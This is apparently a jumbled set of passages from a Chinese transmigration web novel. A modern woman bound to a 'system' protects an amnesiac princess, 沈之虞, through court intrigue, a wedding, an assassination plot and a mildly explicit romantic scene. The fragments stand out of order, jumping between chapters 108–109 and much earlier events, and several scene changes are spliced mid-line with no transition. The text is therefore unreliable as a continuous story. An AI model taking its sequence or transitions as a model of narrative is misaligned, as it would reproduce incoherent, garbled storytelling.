男人约莫二十来岁,看到她的时候还带着些防备和害怕,“你是谁?” 季平安随手拉了个椅子坐在旁边,轻描淡写地道:“救你的人。” “你当时受伤晕倒在路边,是我把你送到药堂里面去的。” 她说话的时候,一直在观察着男人脸上的神情。 对方应该是在回忆先前的事情,先是害怕,然后还能看出些后悔,最后又故作镇定,抬起头看着季平安道:“谢谢你。” “不用谢”,季平安的视线还在他身上,问道:“你家是哪里的?郎中说你的腿伤得比较严重,这些天都不能下地,最好也不要走动。” 吴修齐其实醒的早,也想过要下地看看现在是什么情况。 但他刚想抬腿,就感觉到刺痛从腿上直接蔓延到天灵盖上,酸爽刺激,完全不敢想下地的事情了。 吴修齐:“我叫吴修,家里是外地想去京城里面经商的,但是路上遇到土匪贼人,结果就遇难了,还好遇到你,我这条命才能保下来。” 季平安看着他:“你一个人去京城里面经商?” 吴修齐顿了下,没有想到自己刚说的话,就被找到了漏洞。 他补充道:“还有同行的人,但是我们遇到土匪之后,不小心散开了。” 季平安哦了下,继续追问道:“和你同行的人都有谁?” 吴修齐紧张地脑门上都快冒了汗,明明眼前的人看着像是农户,为什么他还能感觉到一股压迫感。 吴修齐:“还有我爹和我哥哥,余下的便是家里面的家仆。” 说完,他还转移话题道:“也多谢你这次救了我,等我找到家里人之后,肯定会好好感谢你。” 季平安嗯了声,然后道:“你在撒谎。” 吴修齐心忽地一跳,装傻后道:“你这是什么意思?” 季平安:“你如果是和家里人一起经商,那醒过来的第一件事应该是问自己的家人在哪里,他们有没有受伤。” “而且我们村里附近并没有官道,也没有土匪,你为什么会无缘无故地到我们村里面来?” 男人和她说话的时候,眼神一直在四处乱飘,明显是心虚了。 季平安虽然不能确定他名字的真假,但能够断定男人后面说的话,没有一句是真的。 季平安:“你最好不要隐瞒,毕竟你现在是在我的家里,哪怕没了命也不会有人发现。” 说话的时候,她还特地把自己的弓拿了过来放到旁边。 但凡男人有任何行动的倾向,她都不会心慈手软。 吴修齐:“我……” 季平安:“想起来你自己是谁了?” 吴修齐摇摇头:“我……饿了,你这有没有吃的?” 一边说话,他的肚子还咕噜咕噜地叫。 季平安反倒笑了下:“你要对我有自信啊,我可不觉得任务会失败。” 系统:“是的,宿主是第一个和任务目标生活这么长时间的人,超级厉害!” 季平安:“那我如果完成任务后,还能够回到原来的世界吗?” 系统:“宿主,我不能够保证,不过可以告诉你好感度抽卡系统的[描述]。” 季平安没有想到不仅抽卡出来的物品有描述,连抽卡系统本身都有描述。 天还没有亮,季平安便被府里的人叫了起来。 岁岁也醒得早,一双眼睛比平时都要有神,跟在她身边忙上忙下。 先穿上了改好的婚服后,又被压在椅子上开始给她化妆。 季平安看着在自己面前“上下其手”的人,道:“化淡一点就好。” 留在她身边的云琴点头,道:“驸马的底子好,妆淡一些反而好看。” 今日热闹,府内外的声音都显得有些嘈杂,云琴也比往日的话要多:“殿下的妆应该也不会浓,这样驸马和殿下站在一起也相配。” 听到沈之虞,季平安轻轻眨了下眼,思绪不由得飘远了些。 明明看不到人,却又好像知道她在做什么。 对方现在应该也和她一样,换上了婚服,然后开始化妆簪发? 不过沈之虞的五官优越,皮肤也好,确实更适合淡妆。 季平安慢慢想着,没一会儿就被云琴提醒道,可以出去准备接亲了。 她这些日子练习的骑马是有用的,翻身上马,一气呵成,马匹也很温驯,看不出来丁点儿的脾气。 驸马的婚服虽然繁复,却将她的身型彻底衬托出来,坐在马上脊背挺直,如同修竹一般。 “最前面骑在马上的人,应该就是驸马吧?原来驸马这么好看!” “是啊!就这容貌和公主肯定很配,天造地设地一对!” “还有传言说驸马其貌不扬的,怎么不挤到前面好好看看!”- 听到沈琼玉离开了府,季平安便立刻往书房的位置走。 到了书房门口后,她犹豫了下,才抬手敲门:“殿下,是我。” 她知道原剧情,也知道对方现在得知真相肯定是难受的,总要有个人陪在身边。 过了会儿,里面传出来熟悉的声音,道:“进来吧。” 季平安推门进去,便看到沈之虞在常坐的位置待着,脚下还有没有来得及收拾的碎瓷片。 她走过去,将瓷片简单地捡了捡,确认不会扎到人后,才到她的旁边。 季平安没有多问,只是柔声问道:“殿下心情不好的话,可以和我说说。” “如果不想说也没有关系,我就在这里陪着殿下,想抱就抱。” 她刚说完,便感觉自己的腰被环住。 她还是站着,沈之虞坐着,抱住她的时候,对方整个人便完全在她的怀里面。 季平安微微低头,看着怀中人的发旋。 犹豫片刻,她还是轻轻抚了抚对方的背。 季平安在心里默默道,不是殿下的错。 明明自家殿下也吃了很多苦,却还是很善良。 陷在人的怀中,沈之虞便能够更加清楚地闻到她身上清浅好闻的气息。 淡淡的向日葵花味道温暖又柔和,让沈之虞的眼眶都有些发热。 她轻轻闭上眸,想着她可能。 真的离不开季平安了。 第 108 章 第 108 章 两个月后,皇帝的身体再次变差,已经躺在床上起不来了。 当日,沈之虞和朝臣等人都进了宫,旁边还有不少妃嫔在等着。 王德全出来道:“陛下让七公主和驸马进去。” 沈之虞和季平安对视一眼,两人一起走了进去。 明贞帝的脸色灰白,出气多进气少。 看到她们进来,他合了合眼,道:“小七……你会怪我吗?” 不知道为何,这时候他先想到的竟然是沈之虞。 沈之虞平静地道:“不会。” 不是不会怪对方,单纯是不值得。 明贞帝却听不出她的言外音,叹道:“那就好……那就好……” 接下来的几天,也没有其他的事情,季平安也就一直在马场待着。 日子慢慢逼近成亲和夏苗的时间,她的进步也很快,甚至已经能骑着马跑。 这天,她便想试着骑马去猎场。 沈之虞道:“我和你一起去。”敌人的敌人,就是朋友。 但这个“朋友”却有点坑人。她隔了许久才回到京城,期间意外恢复了记忆。 如今时间线提前许多,想来应该就是她带对方去县城后才被发现的。 尚未恢复记忆的沈之虞回到京城,是好事还是坏事,连她也说不清楚。 她已经从故事的旁观者,变成了剧中人。 系统:“一定是好事!” 季平安深吸一口气,“你说的对,一定会比原来好。” 和里正借完车之后,她回到家,先和吴修齐说了要走的事情。 吴修齐:“你要送我回京城吗?你人真好,我回到家里一定好好和我爹说,让他给你金子,一百两!” 他这两天实在待得无聊,想找人说话也怕她们的箭,现在好不容易能换个地方,兴奋地不得了。 季平安:“先去县城里面待两天,估计过些日子就有人过来接你回京城了。” 吴修齐:“你怎么知道?” 他被打晕带走,当时身边连侍从都没跟,他这些天一直在想怎么给京城里面传信。 季平安:“事情太复杂了,和你解释不清楚。” 她和沈之虞聊完,也能够猜到背后人的计谋。 镇云侯府的儿子被“绑匪”劫走,说要拿到赎金才会放人。 镇云侯府的人把赎金交出去,对方便会告诉他们儿子在大柳村,到时候“顺理成章”地发现了失踪的七公主,沈之虞也不得不回京城。 一环扣一环,形成了个完整的圈套,让人往里面跳。 很复杂,和吴修齐这种人说也说不清楚。 沈之虞回到京城后,肯定要找当时害自己的人报仇。 第三派,只需要绑过来个人,就能看沈之虞和对方争斗,坐收渔翁之利。 沈之虞:“目前猜测是这样,也不排除其他情况。” 她不知道京城的局势,也不知道到底有多少个皇子和皇女。 若是有七八个,那也很难确定到底是谁的手笔。 但无论如何,京城里面的人已经给她挖好了坑,就等着她往里面跳。 季平安听这些权谋斗争,就觉得脑袋疼,她看向沈之虞问道:“那你要回京城吗?” 沈之虞道:“回。” 说话的时候,她们也到了富贵的家里。 岁岁看到她们连忙过来,“阿姐,你和阿九回家了吗?” “嗯,回家看了下。”季平安随便找了个借口道,“我们突然记起来,灶房里剩的肉好像忘了放回屋子里面去。” 岁岁没有怀疑,只是问道:“阿姐,那你喂小黄了吗?” 平日里都是她负责喂鸡仔,出门前怕鸡仔乱跑,她把鸡仔关在了鸡窝里面,但是忘了往里面放些杂草。 她也是刚才看到富贵娘在喂家里的鸡,才想起来这件事。 季平安:“……阿姐忘了。” 吴修齐认出来沈之虞、再到后面的局势分析,这些事把她的心思都占了,自然也顾不上这件事。 岁岁也不怪她,只道:“阿姐,那我回家看看。” 家里之前没有养过活物,小孩对鸡仔也是花了心思的。 季平安也没有说什么饿鸡仔一顿不碍事,只道:“那阿姐陪你。” 家里还有吴修齐在,她也不放心让小孩独自回家。 说完,她看向沈之虞:“那你先在这里待会儿,有事和富贵说就行,我们应该很快回来。” 见到对方点头后,季平安才带着人回家。 喂完鸡仔,她们两个人回来,刚好碰到门口的富贵娘。 富贵娘问道:“你不是和阿九一起回的家吗?” 季平安:“和岁岁回去喂了喂鸡仔。” “鸡仔是得喂饱些,早点长大你们也能吃上鸡蛋。”富贵娘说完,又问道:“我家里又孵出来一窝,你们要不要再捉上几只?” 季平安笑了下:“不用了,家里的鸡仔要靠岁岁养,多了小孩也累。” “行,我从县城里刚买了些甜瓜回来,你们都过来吃点甜瓜。” 甜瓜掰成两半就能吃,季平安拿了一块坐到沈之虞的旁边,接上刚才的话题:“你要回京城?” 沈之虞嗯了声:“你说过如果我想走,会让我离开的。” 而且如果她真的是七公主,背后策划这件事的人,必然也会帮她。 季平安一个简单的猎户,拦不住的。 季平安眨眼道:“我现在骑马应该不会有事的。” 沈之虞:“……”系统积分能够修改系统声音、页面这些东西,只有任务完成后才能获得。 系统能量却是会跟随好感度变化而变化,在任务过程中给予帮助。 “嗯嗯!”系统没有忘掉刚才的问题,“宿主,刚才任务目标知道什么了呀~” 季平安笑了下:“她知道今天晚饭要吃茄子炖肉丸。” 系统哦了声,明显没有怀疑她的话:“原来是这样,她好懂你!” 季平安:“……你和岁岁倒是有点像。” 她说什么就信什么。 系统页面反而动了下:“是的,我也很可爱~” “可爱。”季平安随便夸了句,便问道:“系统,我之后如果抽到物品,有不明白的能不能问你?” 前面抽到的物品,都需要她自己去猜测功能,很不方便。 像[危险标识提醒],还是触发之后她才明白这是做什么用的,但若是系统能直接告诉她就会好多了。 系统:“可以的!如果宿主有任何不懂的,都可以问我!” 季平安:“好,之后就要麻烦你了。” 和系统聊天,不用在现实里开口,直接用意识就能够交流,因此也没有耽误她做饭,简简单单一碗清汤面就做好了。 热气腾腾,上面放着煮熟的翠绿的青菜,麦面香气浓郁,比山上吃的冷饼子好吃多了。 季平安吃了一筷子,咽下去后才看到系统页面一直在动。 她又夹了一筷子,问道:“你也想吃?” “嗯嗯!”系统年初才通过培训上了岗,季平安的这个任务还是它的第一个任务:“我之前都没有吃过,你做的那个煲仔饭我也想吃,看起来好好吃,但是我吃不到QAQ” 季平安听到这话,“那没有办法了,你只能忍忍。” 说着话,她倒是想起来一件事:“系统,你绑定我的时候,我发生了什么?” 她那晚看完小说后,再睁开眼睛就是这个世界了。 系统:“宿主,你当时已经失去生命体征了,我才绑定的你哦~” 这么一说,季平安也想起来了,那晚快睡着的时候,她确实感受到了自己的心脏似乎有些疼,但完全没有放到心上。 “你为什么选择绑定我呢?” 系统:“我之前已经绑定了两任宿主,不过两任宿主任务都失败了,我回溯两次之后,能量已经不够了,刚好落到宿主家的附近,所以就选择了宿主。” 季平安没有想到,还会有这层原因:“所以你也没有办法选择穿书时机?” 系统:“嗯嗯,当时我的能量已经快枯竭了,穿书时机只能靠运气。” 季平安:“……” 合着她运气格外不好,恰好穿到了原主把坏事做完的时候。 她又问道:“你说两任宿主任务都失败了?她们是怎么失败的?” 系统:“第一任宿主穿书刚好是捡到任务目标的时候,但她出村了一趟,任务目标醒来后就找到机会跑掉了。” 季平安微微皱眉:“难道她离开大柳村,任务就会失败。” 系统:“不是的,任务目标离开大柳村后,耗了五年还是登上了皇位,但是中途遇到很多事情,身体反而更差,同样登基三年后便去世了。 “我和你一起看看夏苗的事情。” 邀请的官员、狩猎路线以及涉及到的账本都很复杂,若是只有季平安一个人,必然是看不过来的。 才意识到自己误会了的季平安:“……” 她咳了一声,才道了句好。 季平安上次把皇帝搬了出来,猎场的人也不敢再怠慢。 除了关舫,礼部、户部、执金吾和猎场其他人也尽数在场。 只是他们没有想到,沈之虞也会来。李帆轻轻点头:“不仅如此,他还试图让殿下您对七公主再下杀手,这个人的计谋远比我们想象的要深。” 沈弘星深思片刻,问道:“三姐愚笨,如今没有了七妹撑不起来气候,难道是九弟?” 李帆的直觉否定了这个想法:“若是如此,九皇子未免太过招摇,属下即刻去安排人手调查。” 沈弘星轻轻敲了下手上的折扇:“府里面的人你随便用。” 说完,他又对着书房窗户的位置道了声:“来人。” 话音落下,一位黑衣蒙面人瞬间出现在书房里面,没有发出一丝的声响。 沈弘星沉声道:“当日参与刺杀七妹的人,全部处置了。” “还有,现在立刻再安排人去东和县,杀了七公主,不能让她踏进京城一步。” “若是失败了,你们也提头来见。” 黑衣蒙面人道了声“是”,便又如刚才出现一般,无声无响地消失在了眼前。 书房里重新恢复安静,过了会儿沈弘星才看着眼前的李帆,道:“哪怕知道是圈套,我也不能让七妹回来。” 以沈之虞的性格,回到京城后必然会查祈安寺的事情,他不能给自己留下隐患。 若是等到对方到了京城,他的机会会更少。 哪怕之前的李帆不赞同刺杀沈之虞,但已经到了现在,沈弘星的做法反而是风险最小的。 她垂眸道:“王爷可多派些人,务必万无一失。 沈弘星的头后仰在椅子上,轻轻闭着眸道:“自然。” 说完,李帆也准备离开书房,临到门口又听到了沈弘星的声音。 “对了李卿,母后说让你有时间进宫一趟。” 李帆迈着步子的脚顿了下,片刻后才道:“知道了,王爷。” 江书思整个人都顿在了原地。 她想如往常一般和沈之虞打个招呼,却在看到她身边的季平安时,止住所有动作。 关舫的心沉了一沉,只能将手中的册子递上:“殿下,驸马,这便是整理出来的东西,都在这里了。” 上次搭的遮阳帐还没有撤,季平安和沈之虞坐在下面,倒也不会觉得不舒服。 一分一秒过去,沈之虞仍然垂眸翻着手里的册子。 关舫和其他人的额头上都冒出来了细汗,时不时抬头看一眼沈之虞。 不知道过了多久,沈之虞才合上手里的册页,淡淡问道:“关大人,这便是你整理好的东西? 关舫的侧额上,瞬间掉下来豆粒一般的汗。 他低着头道:“殿下,这段时日夏苗的事情忙,时间紧,所以整理的东西也会有疏忽。殿下若是发现哪里有不对的地方,也尽可以告知属下。” 沈之虞:“此次的路线和去年的路线不同,守卫却没有增加或者调整。” “猎场中的动物数量和种类记述不清,模糊略过,甚至连较为凶猛、可能会带来危险的狼、虎都没有提及。” “夏苗每年举办一次,关大人也不止负责过一次,如今呈上来的东西,倒是看不出来。” “另外,我还想问问户部的人,为何一次夏苗,便要花费五万两白银?” 沈之虞的声音不大,但是每个字都让人听得清清楚楚。 偌大的猎场中,一片寂静。 季平安这个时候,也及时调出了系统页面。 话还没有说完,沈之虞的唇便贴上了她的唇。 季平安想,这梦真的好真实,也真的好合她心意。 身体里的那股灼热,似乎又便成了更为让人难耐的欲望。 季平安忍不住收了收自己的胳膊,将人抱得更紧了些。 身体相贴,热度也相互传递着,暧昧在这片小小的空间蔓延。 沈之虞还清醒着,但又没有了过往的理智。 季平安含住微凉却又柔软的唇瓣,动作显得有些急,像是想要将对方的气息都完全霸占。 唇舌交接,沈之虞无意识攥紧了身下的被子,扯出几道褶皱,彻底迷失在这个深吻中。 不知道什么时候,两人身上的衣衫都被褪下,兰花的香气和向日葵花的香气弥漫在房间里的每个角落。 季平安的吻也顺着唇瓣往下,下颔,锁骨,再是更为柔软的地方。 沈之虞的喉间忍不住溢出些闷哼声。 她感受着乾元的动作,微微仰起些头,终究还是没有阻止。 夜还很长。 第 109 章 第 109 章 夜深露重,时间慢慢过去。 月亮不断变换着方向,天色渐亮。 季平安醒来睁开眼睛,愣了片刻后记忆才回笼,想明白自己为什么会在房间。 昨天的甘霖期太突然,等回到房间后她已经神志不清了,再往后便是…… 想到这里后,季平安猛地从床上坐了起来。 虽然记忆不够完整,但她也能够记得几个片段。 情不自禁的深吻,随手被褪去的衣衫,还有完全标记后对方情不自禁地闷哼声…… 季平安的心都停了一瞬,“系统,你在不在?昨晚是什么情况?” 这一定是梦吧?季平安笑了下,还没有开口就又听到沈之虞道:“对不起。” 这句话说的太突兀,她都没有反应过来,“怎么突然说这个?” 沈之虞:“刚才没有说完的。”沈之虞和岁岁不知道季平安今天回来,午饭也就是做的两人份。 加上洗澡耽误的时间,中午也都过去了。 因此说完话,季平安就去了灶房,准备给自己简单做点东西吃。 谁知道刚到了灶房的门口,季平安的脑海里突然出现了一道声音。 “宿主,她知道了什么呀~” 过于突然,季平安进门的脚都没注意绊了一下。 她往院子里看了眼,沈之虞又重新开始看买回来的那本《九地》,岁岁还在和满满玩。 毫无疑问,声音肯定不是她们发出来的。 她把锅拿出来,在脑海里试着问道:“系统?” “是我呀~” 季平安:“……” 系统的话很可爱,但却是用冰冷机械的声音,好比机器人阴恻恻地在她耳边撒娇,总让她有种恐怖感。 她实在忍不住问道:“系统,你能换种声音吗?” 过了会儿,系统换了个可爱女孩的声音:“这样可以吗?” 季平安顿时觉得舒服多了,“就保持这样就好。” “花了我五个积分呢。”系统心疼道。 季平安疑问道:“积分?” 沈之虞注意到了她的动作,问道:“怎么了?” 要不然为什么要捂着胸口的位置。 清冷的声音在耳边响起来,季平安才缓过神来。 心跳快的时候,连喉咙都会有些紧,说起话来不自觉会变快。 季平安把捂着的手拿下来,深吸一口气后,才尽量让自己的语气保持平静道:“没什么事,就是难得睡这么舒服。” 沈之虞嗯了声,看了眼她身后:“岁岁还没有醒?” “没呢,这几天赶路太累了,昨天晚上还听到她打小呼噜了。”季平安笑着道。 小孩打呼噜倒是不吵,像是哼哼唧唧的猫仔一样。 说话的时候,她也走到了沈之虞的身边。 离得近了,季平安也比刚才看得更为清楚。 无论是沈之虞衣服上的精致云纹,还是说话时候微动的长睫。 近着看起来,比刚才还要漂亮,原本快恢复正常的心跳跳的又快了些。 “那我让人给她留些早饭。”沈之虞道。 说话间,她们两个人也坐在饭桌前。 为了转移自己的注意力,季平安看着眼前的人道:“你今日是不是要去皇宫?” 既然已经回到了京城,那肯定就要去皇帝那里露个面。 沈之虞:“吃完早饭去。” 昨天是晚上到京城的,宫门已经锁了,因此便拖到了今天。 沈之虞现在进宫,季平安也跟不过去,只能嘱咐道:“见到皇帝,记得说话谨慎些。” 从之前的传言来看,就知道皇帝不是个好人,谁知道会不会为难沈之虞。 “我知道。”说完,沈之虞和她道:“你今天若是想出去逛逛,或者在府中看看都可以,我把云棋给你留下。” 有个人在旁边帮忙,做起事来总会方便些,季平安没有拒绝。 “系统每辅助完成一个任务,就可以得到积分啦~”系统只有新手积分,平日都是能省则省的。 季平安也明白了过来,系统有对应的升级货币,就和她需要用好感度来抽卡一样。 她问道:“系统,你为什么突然能说话了?” 季平安还记得,当时她在心里吐槽系统的时候,系统页面会有些许的波动,仿佛是不认可她的说法一样。 但当她在心里夸系统的时候,页面反而会变成浅粉色,像是害羞了一般。 她也不是没有猜测过,系统能不能沟通,但尝试叫了几次后都没有听到声音,只能作罢。 没想到今天系统却突然出了声音。 系统:“系统能量和目标人物好感度相关,之前目标人物的好感度是负值,我只能维持最基本的抽卡功能。” “不过就在刚才,宿主成功让目标人物好感度到达了0,我的能量增长了好多,也能够和宿主说话啦~” 季平安:“原来是这样。” 因为要标记,道歉也只能暂时被搁置,如今才说出来。 提到刚才,季平安也想起来她还没有生完的气。 她看着怀里的人,很轻的叹了口气道:“殿下,我们现在也算是一根绳上的蚂蚱了,如果身体不舒服,记得及时和我说。” 虽然季平安的任务就是让对方好好的活着,但她的这句话也是真心诚意说出来的。 相处了这么久,她也不想看着沈之虞一步一步走到原剧情上。 “殿下也可以想想,若是我生病了一直瞒着你,等到要成亲的时候才说出来,你是不是也会怀疑我?” 沈之虞看向她,问道:“比如什么病?”在大柳村的时候,腺体并没有问题,但是到了东和县后,腺体便开始疼。 刚开始只是疼一个时辰,加上不知外面的情况,她便没有轻易地去药堂。 这几天疼的时间越来越长,这才让虞柏帮她请来个郎中。 郎中道:“我给姑娘把把脉。” 沈之虞将手腕伸出来,过了会儿郎中也收回了把脉的手和帕子。 郎中:“姑娘可是最近吃过抑制丸?” 沈之虞:“昨日刚吃过。” 腺体和雨露期离不开关系,她以为腺体疼是因为雨露期刚结束,便又吃了几枚抑制丸。 郎中又问道:“姑娘可否被乾元标记过?” 沈之虞垂了下眸道:“未有过。” 郎中又问道:“那姑娘,是否接触过乾元的信香?” 沈之虞顿了下才道:“……有过。” 当时她雨露期的时候,切切实实地接触了季平安的信香,而且是很长的时间。 一直在旁边的虞柏,闻言心中也一凛。 她从小便跟着沈之虞,最是了解自家殿下的性格和脾性。 昨夜翻窗进入房间,见到沈之虞那冷静又带着杀意的眼神时,她便能够确定这就是自家的殿下。 这也是为什么,哪怕沈之虞说她自己失忆,虞柏也没有怀疑的原因。 但如今,她听到了什么?! 讨厌乾元的殿下,竟然接触过乾元的信香。 虞柏立刻做好了准备,估计郎中走后,殿下就会给她下命令,把那个乾元处理掉。 郎中不知道自己随便的一句话,差点惹出一条人命来 又问了几个问题后,郎中也判断出来了病症:“那便是了。” 郎中道:“腺体疼一般有两种原因,一是坤泽和乾元不合适,两人的信香相互排斥,被标记后腺体便会疼痛。” 这种情况发生的情况少,哪怕郎中看诊几十年,也不过只见过两三对这样的人。 而且沈之虞没有被标记过,那便不是这种情况。 沈之虞:“第二种呢?” 郎中:“第二种便是常年吃抑制丸的人,体内的信香太过浓烈无法压制,腺体便会疼痛。” 这种状况很常见,没有成亲的乾元和坤泽都会有这种情况发生。 不过倒是不严重,只要得到标记和信香后,腺体的疼痛也会慢慢消散下去。 “若是我没有诊错,姑娘吃抑制丸应该三年有余。” “原本一直被压制的腺体,突然接触到了乾元的信香,却再次被抑制丸压下去,病症自然就形成了。” 若是没有接触乾元的信香,过两年也会出现腺体疼痛的状况,现在只是因为乾元的信香被提前刺激出来了。 郎中把原因一一解释清楚后,沈之虞微微皱了皱眉:“那要怎么办?” 郎中拿出自己带的纸和笔,一边写一边说道:“我只能给姑娘先开些调养的药,暂时缓解下姑娘的疼痛。” “只是这药也不能常吃,到后面的效果便会越来越差。” “姑娘若是还没有说亲,这些日子也可以找找。” 这种原因引起的疼痛,其实都是体内信香被压制地太久,标记过后症状便会消失。 沈之虞:“那抑制丸还能吃吗?” 她自然不可能按照郎中说的那样,随随便便就找个乾元标记自己。 郎中叹了口气,语重心长地道:“姑娘,这种情况你的信香会更难压制,若是雨露期最好多备着些抑制丸,总归身体是自己的。” 若是平时需要吃一枚,那往后可能需要一枚半,甚至两枚。 但越压制,之后反扑的便会越厉害,反倒对身体会造成伤害。 沈之虞问道:“会有什么危害?” 郎中道:“现在症状轻便是腺体疼痛,往后可能就是抑制丸失效,严重的话还可能减损寿命。” 这时候,郎中也把开的药方写了出来。 沈之虞接过药方:“知道了,多谢郎中。” 等到郎中离开后,沈之虞问虞柏道:“我之前有过这种情况吗?” 刚才郎中说,哪怕没有乾元信香的刺激,早晚也会有这种情况。 虞柏道:“往常宫里的太医来诊脉,确实说过这件事。” 太医说如果长久使用抑制丸的话,肯定会伤害身体。 隐含的意思便是:哪怕公主不着急找驸马,也可往府里收几个乾元。 但沈之虞一次也没有听过。 季平安被噎了一下,刚才的话重点是这个吗? 但她还是掰着手指头,开始罗列:“比如风寒咳嗽发烧、腿脚不利索、信香不稳定、标记无能……” 沈之虞看她的眼神复杂了些,重复了其中的几个字:“标记无能?” “对啊……”季平安下意识应道,随即反应过来什么。 她抬头看向沈之虞,眼神里面都带了几分迟疑地问道:“如果我真的标记无能呢?” 沈之虞:“……为什么要假设这件事?”沈之虞只简单的拿了一个包裹,季平安帮忙收拾了一遭,又多出来两个。 出门前,季平安又检查了一遍东西,连家里的那块兰花胰子都拿上了,确认没有漏掉东西后,她才帮沈之虞把包裹放到了牛车上。 季平安:“现在应该没有什么少的了,李叔我们走吧。” 听到这话,在院子里面的吴修齐忍不住出声道:“别走别走,还有我呢!” 刚才季平安收拾东西,嫌弃他碍事,就先把他晾在了院子里面。 吴修齐的腿受了伤,现在还没有办法动,他就一直等着季平安收拾完东西叫他。 谁知道现在季平安竟然说“没有什么少的了”,完全把他这个人忘了! 听到吴修齐的声音,季平安才记起来还有这号人:“我说呢,总觉得有点不对劲。” 吴修齐:“……” 季平安刚才整理包裹的时候,记性明明好的不得了,什么犄角旮旯的东西都能找到。 季平安站在院子门口,问道:“你能自己过来吗?” 吴修齐的声音小了些:“……不能。” 现在哪怕是坐着还会泛疼,更不用说站起来走路了。 季平安啧了一声,只能又往院子里面走:“麻烦。” 她和李叔一起把人抬到了牛车上,然后随便扔在了旁边。 吴修齐在京城,什么时候受过这种委屈。 他想抱两句,但视线不小心撇到旁边的沈之虞,心立刻提了一下,想抱怨的话立刻咽到了肚子里面。 李丰问她们:“看看还落什么东西没,不少东西的话咱们就往县城里面走了。” 季平安:“李叔,这回不少了,咱们走吧。” “行嘞。”李丰赶着牛车,和她们聊闲天,“平安,你们这是要去县城做啥?” 季平安指了下吴修齐道:“他之前不是受伤了,我和阿九把他送到家里去。” “那你这可是做了件好事啊!”说完,李丰又看向吴修齐道:“你也是碰到了好人,要是其他人可不一定会管你。” 就是季平安有点糊涂,说是送人倒是被人忘在院子里面了。 吴修齐:“……是。” 她可真是太好心了! 说完,李丰又道:“平安,上次从你这买的野兔子味道是真不错,我家里面的人也爱吃。” “你什么时候再上山,我再从你这里买点。” 季平安:“李叔喜欢吃的话,我改天上山给叔打几只。” 李丰笑着道:“行,到时候你打多了也不要紧,我们家里面人多。” 沈之虞在旁边听着,视线不时落在季平安的身上。 县城不大,一共也就两个客栈,季平安让李丰把她们送到了比较大的那间客栈。 付过钱之后,店小二就把吴修齐抬到了房间里面,用不着季平安。 她帮忙把包裹拎到了沈之虞的房间,然后放下来自己一直背的背篓,从里面拿出来五支箭来。 “这些铁箭你平时就放在自己床边,要是有什么意外及时用。” “知道了。”沈之虞道,“你也记得小心些,京城的人也可能找你的麻烦。” 她毕竟和季平安接触过,京城里面的人若是有“宁可错杀,不能放过”的想法,那季平安也算不上安全。 客栈的隔音一般,哪怕是在二楼也能听到街上熙熙攘攘的声音,小摊的吆喝声和路人的说话声都能听得清清楚楚。 季平安道了声好后,才道:“你说,现在县城里面有多少双眼睛在盯着?” 有人想要沈之虞平平稳稳地回到京城,有人又想要她永远走不出东和县城。 沈之虞视线往窗户的位置偏了下,语气平静道:“可能不少。” 只有吴修齐这种人,才会大大咧咧地来了客栈就觉得万事无忧,还能给自己点上壶酒和两盘好菜。 说完,她才道:“之后没有事情的话,最好不要再来客栈了。” 那一双双眼睛,不止在盯着她,更盯着出现在她身边的人。 季平安倒是完全没有害怕,还笑了下问道:“你这都快要回京城了,没有什么想要和我说的吗?” “比如夸夸我之前做的饭,或者给我两句祝福?” 沈之虞看着眼前的人,还能看到乾元眼里清浅的笑意。 过了会儿,她才道:“等我走了,你和岁岁可以换个地方住。” 完全没有提祝福的事情。 季平安故作遗憾地叹了下:“好吧,看来我是得不到七公主的祝福了。” 她打开门,对着沈之虞道:“那我走了,你记得多注意客栈周围的人。” “嗯。”镇云侯听不出来皇帝声音里面的喜怒,便实话实说道:“回陛下,是这样的。” 但是当时,大理寺的人却说亲眼见到了七公主的尸体。 明贞帝虽然昏庸,但到底也不是全然不懂,这事肯定有蹊跷。 明贞帝看了眼眼前的镇云侯后,才道:“王学德,你去叫大理寺的人过来。” 说完,明贞帝又吩咐道:“小七也是大难不死必有后福,必然是她母妃在她天上保佑着她。” “你这就安排下去,等小七回来,好好地给她办一场接风宴。” 他身旁的王学德立刻应声。 镇云侯也道:“陛下说的是,七公主吉人自有天相。” “几个孩子里面,就小七最懂事”,明贞帝也难得带了些感慨,“能回来就好啊,能回来就好。” 七公主是坤泽,对皇位构不成危险,因此明贞帝也不会对她有过分的猜忌,这话倒不是敷衍之语。 镇云侯附和道:“七公主约莫还有四五日就能够回宫,届时陛下见到人也能安心。” 明贞帝点头:“这次也多亏爱卿了。” 听到这话,镇云侯的背后立刻惊出了一身冷汗:“陛下言重,只是臣的儿子实在不成器,竟还能让人拐走了,这才碰巧遇到了七公主。” 他的话虽然是谦词,但也明里暗里地将这件事的起因讲明白了。 是有人拐的他儿子,和镇云侯府无关。 明贞帝稍稍往后靠了些,立刻就有宫人上前帮他捏着肩膀:“原来是这样,小七和爱卿家里的公子也算有缘。” 他的这话有深意,镇云侯细细一思索,就能明白过来明贞帝的意思。 七公主可是还没有选驸马呢! 自己家里的儿子自己知道是什么样,哪里能当什么驸马,保不准哪天小命就无缘无故地丢了。 但眼前的人可是皇帝,无论说什么都不能反驳。 因此镇云侯也只能连忙拱手:“犬子也是十辈子修来的福分,才能给七公主帮上些忙。” 明贞帝也只是刚才突然有的想法,随便提一下。 毕竟七公主现在还没有回京,驸马的事情尚且也要搁置些时日。 他闭了闭眸子,道:“这次的接风宴,可不能少了爱卿家里的公子。” 镇云侯的心颤了一颤,却只能道:“是,陛下。” 临走的时候,他看到皇帝的手已经放在了宫人的手上。 镇云侯立刻收回了视线往宫外走去,他心里叹一口气。 往后的京城,恐怕要不安稳了。 门关上后,过了会儿沈之虞才收回自己的视线。 下了楼,季平安揣着银子就到了客栈掌柜面前:“老板帮我开间房,就要听涛旁边的那间。” 听涛房就是沈之虞刚才订的那间。 掌柜也认出来她了:“你不是刚才开过一间吗?” “突然想到了。”季平安抿了抿唇,追问道:“你会怎么办,找其他的乾元?” 若是为了身体健康,她肯定是希望沈之虞找其他的乾元,起码不会损害到身体。 但不知为何,这个念头出来后,季平安的心里反而带着些憋闷。 沈之虞摩挲了下指尖,看着眼前的人道:“我不是随便的人。” 她说得不急不缓,语调也没有多少起伏。 但意思很明确:她不会因为这个病,随随便便就让乾元标记。 季平安闻言,刚才的憋闷倒是没有了。 她们这次没有买多少东西,但是逛得时间也不短。 回到府里后已经不早了,又说了几句话后便回了各自的房间。 哪怕糖人已经吃完了,但唇齿间还是能尝出些甜味。 季平安看着岁岁刷完牙上了床后,也开始洗漱。 等她收拾好,小孩已经盖着被子睡得安稳。 季平安帮她把头发轻轻往侧边拨了拨,才坐在床边看着上次买回来的泥人。 一共三个,被岁岁整整齐齐地摆在旁边的柜子上。 